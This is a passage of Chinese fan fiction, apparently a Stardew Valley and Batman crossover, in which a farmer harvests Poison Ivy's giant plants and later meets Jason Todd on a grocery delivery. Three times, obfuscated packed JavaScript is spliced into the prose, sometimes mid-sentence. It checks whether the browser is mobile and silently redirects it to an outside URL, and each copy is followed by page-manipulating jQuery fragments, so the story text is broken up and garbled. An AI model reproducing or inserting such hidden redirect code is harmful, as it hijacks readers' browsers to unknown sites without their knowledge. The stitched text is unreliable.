;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305223|198694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娜立马将胸口拍得啪啪响,保证道:“别担心,不会有事的!” 她对着女孩竖起大拇指,也不知道究竟在骄傲些什么,眉飞色舞地补充:“我可是鹈鹕镇人!” 所以这个鹈鹕镇到底有什么独特的?! 在对方口中听过无数次这个地名的凯拉瞬间虚起眼睛,露出无语模样,她有心想要说点什么,但又懒得吐槽。 在农场蹭了这么多顿饭,对于这位农场主奇特的思维,她也早已有了些了解。不是谁都能像投喂流浪动物一样,如此自然地投喂一群不请自来的流浪小孩的。 最后她只是把手里剩下的半块千层酥塞进嘴里,胡乱嚼了两下,开口:“我和你一起去。” “啊?” “我说,”女孩的语气没有任何商量的余地,“我和你一起去。” 夜风在农场徘徊,吹起凯拉乱糟糟的头发,西尔瓦娜看着她那过于削瘦的脸部线条和像老树根一样突出来的锁骨,好半晌,语气格外认真地叫了一声女孩的名字:“凯拉。” “有话快说。” “你的脸上有蓝莓果酱诶。” 女孩瞬间恼羞成怒:“没让你讲这个,你到底还送不送货了!” 不讲就不讲嘛,怎么还跳脚起来了? 西尔瓦娜从善如流地爬上驾驶座,将副驾驶上的杂物都塞进储物箱,给凯拉腾出位置来。 女孩气呼呼地给自己系好安全带,抱着胳膊,扭过头看向车窗外。 不过在调整车内后视镜时,西尔瓦娜捕捉到了凯拉偷偷对着车窗玻璃擦脸的动作,她眨了眨眼,这次什么都没说。 皮卡在哮喘般的引擎声中启动。 属于农场的轮廓在暮色里渐渐模糊,货车开出大门,那几个原本还在厨房中争抢千层酥的孩子不知何时立在了农舍门口,他们的身影在后视镜中慢慢变成几个小小的黑点。 她们驶出农场附近颠簸的土路,拐向通往市区的方向。 哥谭的夜晚正在降临,路灯似乎不怎么想工作,只稀稀拉拉地亮起了几盏,电路还接触不良,灯光总是一闪一闪的。 皮卡在下城区的街道上前行,车轮碾过坑坑洼洼的路面时,总会带起一阵晃动。 西尔瓦娜哼着花舞节的小调,手指在方向盘上打着拍子。凯拉则缩在副驾驶座上,像一只机敏的小兽,但凡车窗外出现点陌生人影,便会引来她的警觉注视。 凯拉确实很熟悉哥谭这个城市,她总知道哪里该去,哪里不该去。 在她的指挥下,皮卡顺利地穿过半个下城区。拐过这个街角,罗宾逊公园的轮廓遥遥出现在前挡风玻璃外。 凯拉正准备指挥西尔瓦娜绕开这个晚上会有毒贩聚集的公园,走另一条路,话还没说出口,她的声音卡在了喉咙里。 一株植物在视野中拔地而起,以堪称奇迹的速度冲向天际。 5. 第 5 章 1 最先出现的异样是震动。 好像地底有什么巨兽翻了个身,一下,两下,震动越来越近,越来越剧烈,路面的沥青开始龟裂,裂纹如蛛网般迅速向四周扩散开来。 柏油路面猛然隆起,有什么东西从下方冲了出来。 数不清的藤蔓挥舞着枝条冲天而起,它们蹿升的速度惊人,几乎是眨眼间便有几层楼高,顶端还在不断攀升。沥青碎块从枝条间簌簌掉落,砸上周边车辆的顶盖,一时间刺耳的警报声此起彼伏。 被植物贯穿的消防栓再也撑不住了,水柱从扭曲的残骸中喷涌而出,又化作暴雨劈头盖脸地浇下来。 水流混着泥土漫过路面,水雾弥漫之中,植物生长的势头没有半分停滞。 作为土生土长的哥谭流浪小孩,凯拉和其他人的反应别无二致,她当即便想叫西尔瓦娜掉头逃跑。 但有关逃跑的话还没来得及从她的嘴里说出来,就被一阵在此情此景下显得格外不合时宜的感叹声给压了下去。 “哇哦。” 声音来自她旁边的驾驶座。 西尔瓦娜踩下刹车,皮卡停在路边,在一众从公园方向里逃出来的车辆和行人中犹如逆流而上的鱼。 她趴在方向盘上,身体前倾,脸几乎要贴上挡风玻璃,绿眼睛在车内灯光下闪烁着凯拉完全无法理解的光芒。 她说出口的话同样让凯拉无法理解:“好大的蕨菜树!” “我们得掉头!”凯拉压根顾不上西尔瓦娜口中说的蕨菜树是什么,“现在!立刻!马上!” 回应她话音的是“咔哒”一声脆响。 西尔瓦娜推开了车门,眼看着半个身体都已经探到车外。 她回过头,对着凯拉露出一个灿烂笑容:“你在车上待着,我去砍点蕨菜树就回来。” “?” 凯拉满头雾水,遭遇毒藤女的恐惧都被这无厘头发言冲淡了不少。 她觉得自己可能出现了幻听。那是蕨菜吗?那玩意儿有几层楼那么高,甚至还在往外长,它们顶破公园的水泥路面轻松得像掰碎一块饼干,藤蔓的末端还在空中挥舞。 “你疯了吗?”凯拉终于找回了自己的声音,“那是毒藤女——” 她的话再次卡在喉咙里。 女孩一直都知道哥谭存在许多不符合常理的事情,比如不知道何时就会无声出现在身后的蝙蝠侠,生命力比蟑螂还旺盛始终不肯退出生物圈的小丑,又或者几年一换届疑似有着上岗年龄限制的罗宾。 但这里面绝对不包括一个身高一米七的农场主,可以从身上掏出一把足有自身大腿高的斧头。 那把不知道从哪里冒出来的斧头通身都是奇异的紫色,寒光在斧刃上一闪而过,锋利得足以刺破眼球。 凯拉茫然地看了看斧头,又看了看西尔瓦娜的工装裤,口袋确实比较大,但和那把斧头相比仍然显得不太够看。 她试图在脑中构建一个合理的说法来解释这件事。 她失败了。 “你从哪——不对那是什么——你怎么——” 凯拉的大脑彻底宕机了,她的嘴还在如实传达身体主人的震惊与困惑,但她的脑子已经不足以支撑她流畅地表达出自己的想法。 疑惑像稻草一样塞满了大脑,第一个问题还没问出口,第二个就接踵而来,问题内容跳跃得像坏掉的收音机,在不同频道之间胡乱切换。 西尔瓦娜献宝般向她介绍:“这是铱金斧,是我们那最好的铁匠克林特打造的,不管砍什么都只需要两下。” “不是这个问题!” “放心吧,蕨菜树我砍过很多次了,有经验。” “你听我说,”凯拉解开安全带,试图抓住西尔瓦娜的胳膊。“外面很危险,那不是普通的作物,那是毒藤女操控的植物。” 西尔瓦娜一副乖巧模样听完她的话,还点了点头,看上去像是听进去了一点。 然而下一秒,她如脱缰野马般转身就跑,速度快得像是怕去晚了蕨菜就被别人摘光了。 “喂——!” 凯拉一脚踹开车门,但西尔瓦娜跑得比她想象的要快多了,那个扛着紫色斧头的身影两三下就蹿进公园,朝着巨型植物的方向飞奔而去,马尾辫在身后甩来甩去,像犬科动物撒欢时快乐的尾巴。 徒留凯拉伸出去的手悬在半空中。 女孩追出去两步,却被一根突然窜过来的藤蔓吓回车上,只能眼睁睁地看着属于农场主的背影消失在那片疯狂生长的绿色里。 * 西尔瓦娜兴高采烈地冲进了这片巨型植物中。 走近了看,这些植物确实和鹈鹕镇那边的蕨菜树不太像,它们过于有活力了点,在人靠近时会主动挥舞着藤蔓以示欢迎。 这让西尔瓦娜还挺不好意思的,因为她等会可是要砍倒它们的。 她在内心短暂地谴责了自己一番,紧接着毫不犹豫地挥舞起手中的铱金斧。 斧头落下,巨型植物应声倒地,散落出一地绿色的卷曲叶片。从断裂处冒出来的鲜嫩蕨菜瞬间让西尔瓦娜心里那一丝愧疚烟消云散,她就说嘛,长成这个模样的肯定是蕨菜树! 不过凯拉还在车上等着,那孩子好像很害怕这些植物来着,她得速战速决赶紧回去。 西尔瓦娜挑拣着品相好的蕨菜往麻袋里装,一路向着公园深处砍过去。她满心满眼都是大自然的馈赠,脚下植物的异动被尽数无视,偶有几株藤蔓缠到腿上,也被她不当回事地随手砍掉。 这片区域的蕨菜树长得格外茂盛,每一株都有两三层楼高,掉落的蕨菜也是正常数量的两倍。 袋子很快就鼓了起来。 西尔瓦娜掂了掂重量,满意地点点头。 本来眼看着夏季就要结束,绿雨却一直没来,她还发愁着要去哪里找点蕨菜,没想到今天运气这么好,能遇见这么一大片。 至于凯拉说的那些话,西尔瓦娜当时只听进去了一半,她的注意力全都跑到了蕨菜大丰收上,只听懂了这些植物都是由一个被称作为毒藤女的人催生出来的。 这可真是个好人啊!西尔瓦娜感慨着,把袋口系紧往肩膀上一甩,准备沿着来时路回去。 * 杰森·陶德在哥谭见过很多事情。 作为死而复生的二代罗宾,哥谭东区目前的老大,他以为自己的认知阈值已经足够高了,再荒诞的事情他都可以面不改色地接受。 但当他看到一个年轻女性扛着把斧头,站在毒藤女的巨型植物残骸中,整个人洋溢着丰收的喜悦时,他见多识广的大脑还是出现了短暂的空白。 杰森低头看了看自己手里的除草剂,又看了看那把只需要两下就能砍倒一株巨型植物的神奇斧头。 真是活久见,他想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305224|198694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是他不小心吸入了毒藤女的致幻毒素,还是这个城市真的已经疯狂到了连他看不懂的地步? 杰森很想将面前发生的这一切归咎到神经毒素上,奈何头盔里的过滤系统运转良好,没有发出任何警报,而他也并没有感觉到自己有任何吸入毒素后的异常反应。 这意味着眼前的一切都是真实发生的。 他不得不承认一个令人极其沉痛的事实——哥谭人民的精神状态已经发展到了连他都觉得震惊的地步。 他憋了好一会,终于开口:“你在干什么?” 经过变声器处理的声音带着一股机械感,杰森很想让自己听起来更有威慑力一些,可眼前的场景实在是太令人茫然,导致他说出口时语调中只剩下干巴巴的感觉。 年轻女性转过身来,目露好奇,着重地观察一下他脑袋上的头盔,她似乎得出了什么结论,露出一个友善的笑容。 “收蕨菜啊。”西尔瓦娜拉开麻袋,朝着他的方向举了举。“这个用来做意式蕨菜炖饭可好吃了,还能做成腌菜或者果汁——” “等等!”杰森抬起一只手,打断了她即将展开的《蕨菜做法一百式》教程。 他可不是为了来和对方讨论烹饪的,再说了谁会用蕨菜做果汁,这听上去就不应该是被允许出现在厨房里的东西。 杰森发问:“你知道这些植物是谁的吗?” 这个问题当然难不倒她了。 西尔瓦娜当即自信满满地给出回答:“我知道,是毒藤女,对吧?” “对,这是毒藤女的植物。”杰森一字一顿地重复了一遍,每个字之间都隔着足以解出一套数学题的停顿,以期能让对方反应过来。 他试图用这种方法来提醒对面的年轻女性:“帕梅拉·艾斯利,她是哥谭最危险的罪犯之一。” 他的努力似乎没有白费,西尔瓦娜起初还一脸不解,没过几秒,她突然脸色大变。 杰森在头盔底下松了一口气,看起来还不是真的傻,哥谭这座城市再怎么疯狂,市民也不至于因此完全丧失危机意识。 他正准备详细解释一下毒藤女的危险程度,让对方最好立刻离开这片区域并且永远不要再靠近—— “难道我要给毒藤女交钱才能砍这些蕨菜树吗?” 西尔瓦娜问出这句话时,表情真诚得让人哑口无言。 这不应该吧,她想,以前在山谷里,除了镇上的绿化带和别人种的菜,其他的东西都是可以随意采摘的,也没见谁跳出来说要收费啊。 她抓紧了麻袋,左顾右盼,生怕有人跳出来抢走她辛辛苦苦砍下来的蕨菜:“我知道有些地方的野生资源是有归属权的,但罗宾逊公园这边应该是公共资源吧?还是说哥谭这边有什么特殊的法律?” “……没有,但毒藤女把所有植物都视为她的孩子。” 所以某种意义上你手里正装着人家孩子的尸体呢,懂不懂!——杰森恨不得上手摇晃她的肩膀。 西尔瓦娜点评道:“那她还挺霸道的,你们没人和她争抚养权吗?” 哪怕是不讲道理的农场主如她,也不敢大放厥词说鹈鹕镇所有的土地都是她的。 “……” 杰森开始严肃地思考一个问题:他是不是应该联系阿卡姆疯人院,问问他们最近有没有病人逃跑,不是指后来被蝙蝠侠关进去的那些罪犯,而是阿卡姆里真正的原住民。 6. 第 6 章 1 “然后呢?” 安全屋内,罗伊歪在沙发上,手里捏着一罐啤酒,听得津津有味,杰森讲到关键处时他甚至放下了架在茶几上的腿,整个人都凑了过去,迫不及待地发问。 他当时在公园的另一边帮忙寻找毒藤女的位置,只知道杰森似乎被什么事绊住了手脚,来迟了点,没想到对方竟然还有这种遭遇。 杰森坐在另一个沙发上,摊了摊手:“然后那个人就走了。” 罗伊等了几秒,才确认杰森不是在开玩笑而是真的没有下文,他一巴掌拍在沙发上,声音大得能把声控灯震亮:“就这?!” “就这。”杰森懒洋洋地扯开拉环,往嘴里灌了口冰啤酒。 “不是,”罗伊从沙发上弹起来,一副被欺骗了感情的表情,手里的啤酒罐差点飞出去。“你跟我铺垫了这么久,什么紫色斧头,什么只关心要不要给毒藤女交钱,结果就这?” “她砍完蕨菜就走了?你就这样让她走了?” 杰森的白眼差点翻出眼眶:“那你想要什么结局?我把她抓起来审问,就因为人家砍了几株毒藤女的植物?” 从某种意义上来说,对方的行为甚至算得上是帮了他们忙,因为这点事就上纲上线反而像是恩将仇报。 “按照你们家的作风,”罗伊竖起手指开始掰扯,“你至少应该在她身上留下定位器,调查她的身份背景,给她建立一份专属档案,然后在某天突然出现在她面前——” 杰森嘴角抽了抽,打断他:“我看上像是老蝙蝠吗?” 罗伊不语,只是一味地深深凝视着他——这个问题还需要回答吗,他们家的人都是什么习性还需要别人说吗? 杰森一律当做没看见。 他解释道:“而且当时毒藤女还没解决,我哪有那个闲工夫?她说还有人在车上等她,然后就扛着那袋蕨菜跑了。” “总之就这样,你要是觉得不够精彩的话可以自己编一个。” 罗伊不满意,罗伊十分不满意。 他期待的可不是“她走了,完了,故事结束”这种结局,这怎么也值得来几个峰回路转的展开吧,现在这个仓促结尾和编剧憋不出来的烂尾有什么区别? 罗伊还想说点什么,门铃响了。 “外卖到了!”他瞬间将这件事抛之脑后,一个翻身从沙发上蹦起来,冲向门口。“我给你说,小杰鸟,你一定要尝尝这家的东西,新鲜得很,手艺也一级棒!” 杰森听他念叨这件事听得耳朵都要起茧子了。 罗伊前段时间不知道在哪尝到了一道很不错的菜,本以为是餐馆,最后找到联系方式才发现其实来自一家农场。 人家的经营业务里不包括餐饮销售,故而他也不好意思直接说要点熟食,硬是拉着杰森一起买了点食材来掩盖真实目的。 杰森本来不想搭理他,但架不住罗伊的软磨硬泡,最后还是妥协了,因为拒绝也没用。 罗伊已经摸到了门把手,杰森叹了口气,把喝空的啤酒罐放在茶几上,慢悠悠地站起来,走过去把他拨到一边。 “你身上带现金了吗?” “没有,但这不是还有你在吗?” 他就知道。 杰森头也不回地竖起中指,另一只手拉开门,做好了接过外卖、付钱给小费、关上门的准备。 他预估的所有流程都卡在了第一步。 门外站着的送货员是位年轻女性,棕色头发扎成马尾,绿眼睛在走廊的灯光下显得格外明亮,生机勃勃得不像是会出现在哥谭的眼神。 但这不是最重要的。 最重要的是这张脸的主人刚刚才在他们的对话中出现过——那个把毒藤女的巨型植物当蕨菜的阿卡姆在逃病患。 “您好!星露谷农产品配送,请问是您下的单吗?” 在门打开的一瞬间,西尔瓦娜就扬起自己最饱满的音调,热情满满地和来人打招呼。 俗话说得好,伸手不打笑脸人,在鹈鹕镇她就是靠这招强行和所有人混好关系。 然而这次她的热情没有得到回应。 开门的是位身形高大的年轻男性,他握住门把手时鼓起的肱二头肌目测一拳可以揍晕成年壮汉,可他此刻的表情像是有谁迎面一拳打在了他的鼻梁上,格外精彩。 西尔瓦娜等了许久都没等到对方开口,她脸上的笑容未变,但眼神里掺杂上了显而易见的困惑。 两人就这么大眼瞪小眼地僵持在原地,直到罗伊的声音打破僵局。 “怎么了?”罗伊的脑袋从杰森身后探出来,他看了看门外的女孩,又看了看杰森的表情,摸不清楚现在是什么情况。“你们认识?” 西尔瓦娜刚想否认,嘴张开又合上,几秒后才发出不太确定的声音:“呃——这个你得问他?” 她认真地搜索起自己的记忆,她有见过这个人吗?应该没有吧? 西尔瓦娜自认记忆力不错,如此时髦的额前白色挑染,如果她真的见过的话不可能毫无印象。 可对方看她的眼神实在过于复杂,复杂到展开讲可以拍出十季电视剧还不完结的那种,让她都疑心自己是不是欠了对方钱。 但西尔瓦娜也不敢打包票说俩人完全不认识。 当初在矿洞第一次见到齐先生时,她还纳闷这人怎么知道她的名字,后来才发现人家是爷爷的朋友,甚至还抱过小时候的她。 如果这人也是类似情况,她要是说不认识他的话,那对方得多尴尬。 西尔瓦娜的表情变得严肃起来,电光火石间,她已经做好了决定,只要对方开口说认识,她就会立刻点头认下来! 至于后面的事情,就等以后再说。 她直视着杰森的眼睛,神情认真得不得了,抛过去一个“无论你说什么我都会配合”的坚毅眼神。 杰森:“……” 有的时候他真希望自己不要那么敏锐,这样就可以装作读不懂对方的眼神。 杰森深深长叹一口气,压下那股熟悉的无力感:“不认识。” 他否认得干脆利落,与她有过一面之缘的是红头罩,和他杰森·陶德有什么关系? 西尔瓦娜瞬间松了口气,肩膀微微放松下来,脸上的严肃神色烟消云散,取而代之的是如释重负的笑容:“那就好,我还以为是我又忘了什么重要的人。” 她把装着货品的箱子往前递了递,刚准备让对方签收一下货物,楼梯口传来的脚步声同时吸引了在场三人的注意力。 小小的身影从楼梯转角后慢慢探了出来,是凯拉。 看到两名身形高大的陌生男性,本就戒备心十足的女孩肉眼可见地紧张起来。 西尔瓦娜朝她招招手,她才一点点挪了过去,像只警觉的小兽紧紧贴在西尔瓦娜身边,眼神从始至终没有从杰森他们身上移开。 “你怎么上来了?”西尔瓦娜问。 “你太慢了。”凯拉的声音闷闷的,带着点担忧,“我还以为你又跑去砍什么东西了。” 西尔瓦娜下车时和她说只需要几分钟,结果她在皮卡里等了十几分钟,却迟迟没见对方回来。女孩既担心她是遇到危险了,又觉得可能农场主只是单纯被其他事绊住了手脚,于是才找了过来。 杰森把这一切尽收眼底。 他认出了凯拉。 在哥谭哪怕是流浪小孩也会分出三六九等。 第一等是那些体格出色,早早被黑、帮看中收进帮派的类型;其次是有着一技之长——这种特长在东区一般特指偷窃——能够勉强赚点钱的;过得最差的自然是那些年纪过小,又没有什么技能,只能靠捡垃圾为生的小孩。 但凯拉不一样,她是那群孩子当中最聪明的那个,也是危险嗅觉最敏锐的那个。 好几次东区有外来毒贩想抓几个小孩来走私,她都带着她的小团队在危险来临之前消失得无影无踪。 前段时间他注意到这群孩子在东区的活动迹象减少了很多,还以为出了什么事,派人暗中调查过。没想到这孩子现在出现在这个奇怪女性的身边,穿着不那么破旧的衣服,脸色也红润了点。 杰森的心里转过很多念头,但脸上什么都没表现出来。 他现在是杰森·陶德,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305225|198694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是红头罩,不该如此了解一个素不相识的东区小孩。 罗伊已经先他一步把装着食材的箱子接了过来,于是杰森自然地接手了保温袋,里面沉甸甸的,估计装的就是罗伊点的熟食。 他从口袋里摸出几张钞票递过去:“小费。” 那几张绿油油的富兰克林被掏出来时,对面一大一小的眼睛瞬间亮了几度。 就连罗伊也投来诧异目光,他用胳膊肘捅了杰森一下。 杰森没管,只道:“收着吧,本来加急单一般都有额外费用,更别提这家伙还要求今晚送达。” 他朝着凯拉的方向扬了扬下巴,闲聊般顺带问出一句:“你出来送货怎么还带着个孩子?” 西尔瓦娜艰难地把目光从富兰克林身上挪开,她本来不是贪财的人,全鹈鹕镇都没有比她更大方的农场主。只不过现在是特殊阶段,导致她看见钞票就会两眼放光。 不过杰森都这么说了,她不再犹豫,毫不忸怩地收下了高昂小费。 太好了,这个冬天畜棚的暖气片有着落了! 西尔瓦娜真诚无比地朝杰森道谢了好几次,才回答他的问题:“凯拉是来帮忙的,她对哥谭的路比我熟悉。” 她笑了笑,说这话时顺手揉了揉凯拉的头发,动作熟稔,一看就做过不少次。而凯拉虽然皱着脸,但也没有躲开,显然两人关系是真的很不错。 杰森心中的疑虑消散了一点,总没道理向来警惕的东区小孩会突然变得毫无警戒心,凯拉既然愿意跟着西尔瓦娜,就说明对方某种意义上确实是好人。 “对了,”西尔瓦娜收回手,在口袋里翻找起来。“我记得我带了啊——不对——” 她的口袋似乎比正常工装裤要深得多,西尔瓦娜摸索了好一会,动作越来越大,但看上去依旧没找到想要的东西。 “你在找什么?”罗伊问。 西尔瓦娜神色苦恼:“礼物,收了这么高的小费,总不能就这样走了。我记得我带了几瓶——啊,找到了!” 她的手终于从口袋里抽了出来,罗伊探头一看,发现是一个粉色的圆肚陶瓷瓶,瓶身上没有任何标志。 他看了看西尔瓦娜平坦的口袋,怎么看都想不通她是如何把这瓶子装进口袋里,却能不让人从外面发现的。 罗伊好奇:“这是什么?” “药水。”西尔瓦娜回答得很简略,“算是我们那的本地配方,疗效不错,受什么伤都可以用。” 她本来想送点其他礼物给杰森表示谢意的,奈何身上唯一适合送礼的兔脚已经送出去了,挑挑选选好一会只有生命药水比较合适。 西尔瓦娜发传单似地将瓷瓶强行塞进杰森手里,不等人回应,就挥挥手道别,带着凯拉飞快离开了这栋楼。 老式公寓的楼道声控灯不太灵敏,两人摸黑往下走了几层楼后,一前一后的脚步声里多出来属于孩童稚嫩的声线。 “我感觉那个人看我的目光有点奇怪。” “有让你不舒服吗?” 凯拉摇头:“那倒没有,我就是有点想不通。” 女孩微微皱眉,像是在努力回忆。西尔瓦娜蹲下身,盯着她的眼睛看了几秒,确认里面只有单纯的疑惑后,她直起身,将手摁上凯拉的发顶。 “那就先不琢磨这件事了,”农场主语调轻快,“说不定答案某天就会自己跳到你的面前来,在这之前,先想想明天要吃什么吧。” 凯拉沉默了几秒。 她忍了又忍,最终还是没忍住。 “……不要再用你摸牛羊的手法来摸我的脑袋了!” 西尔瓦娜收回手,义正辞严:“凯拉,这是农场里所有动物都喜欢的抚摸手法,每次我摸完它们,它们都会很高兴。” “所以你完全不反驳手法这个问题是吗?” 女孩一边吐槽一边越过了西尔瓦娜,语气中带着少年老成的无奈和嫌弃。西尔瓦娜跟在她身后,看着她后脑勺上被揉得翘起来的那一撮头发在行走晃动。 楼下大门被推开,夜色中,停在对面的皮卡已然亮起两盏昏黄的车灯,等候着她们的归来。